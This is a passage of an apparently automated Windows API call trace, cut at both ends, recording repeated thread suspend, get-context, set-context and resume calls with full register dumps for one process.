Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0120.564] ResumeThread (hThread=0x100) returned 0x1 [0120.564] CloseHandle (hObject=0x100) returned 1 [0120.564] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0120.780] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0120.993] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x100) returned 1 [0120.993] SuspendThread (hThread=0x100) returned 0x0 [0120.993] GetThreadContext (in: hThread=0x100, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019ee68, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13fc0dffd, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0120.994] SetThreadContext (hThread=0x100, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019ee60, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0120.994] ResumeThread (hThread=0x100) returned 0x1 [0120.994] CloseHandle (hObject=0x100) returned 1 [0120.995] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0121.201] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0121.410] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x100) returned 1 [0121.410] SuspendThread (hThread=0x100) returned 0x0 [0121.410] GetThreadContext (in: hThread=0x100, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019efa8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13fc2c340, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0121.410] SetThreadContext (hThread=0x100, lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019efa0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13f74d860, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1 [0121.411] ResumeThread (hThread=0x100) returned 0x1 [0121.411] CloseHandle (hObject=0x100) returned 1 [0121.411] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0121.636] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x27b6fda0) returned 0x102 [0121.869] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x8c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x27b6f890, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x27b6f890*=0x100) returned 1 [0121.869] SuspendThread (hThread=0x100) returned 0x0 [0121.869] GetThreadContext (in: hThread=0x100, lpContext=0x27b6f8a0 | out: lpContext=0x27b6f8a0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc00019efa8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x13fc41640, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, 